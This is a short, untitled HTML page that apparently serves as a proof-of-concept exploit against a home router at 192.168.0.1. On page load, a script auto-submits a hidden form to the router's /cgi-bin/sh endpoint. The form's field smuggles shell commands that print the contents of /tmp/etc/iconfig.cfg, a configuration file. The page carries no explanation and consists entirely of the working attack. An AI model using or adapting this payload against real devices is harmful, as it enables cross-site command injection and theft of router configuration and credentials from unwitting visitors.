Untitled

<html>
<head>
<script>
function s() {
  document.f.submit();
}
</script>
</head>
<body onload="s()">
<form id="f" name="f" method="POST" action="http://192.168.0.1/cgi-bin/sh" enctype="text/plain">
<input type="hidden" name="X" value="X;echo 'Content-type: text/plain';echo;echo Content of /tmp/etc/iconfig.cfg;echo;cat /tmp/etc/iconfig.cfg;">
</form>
</body>
</html>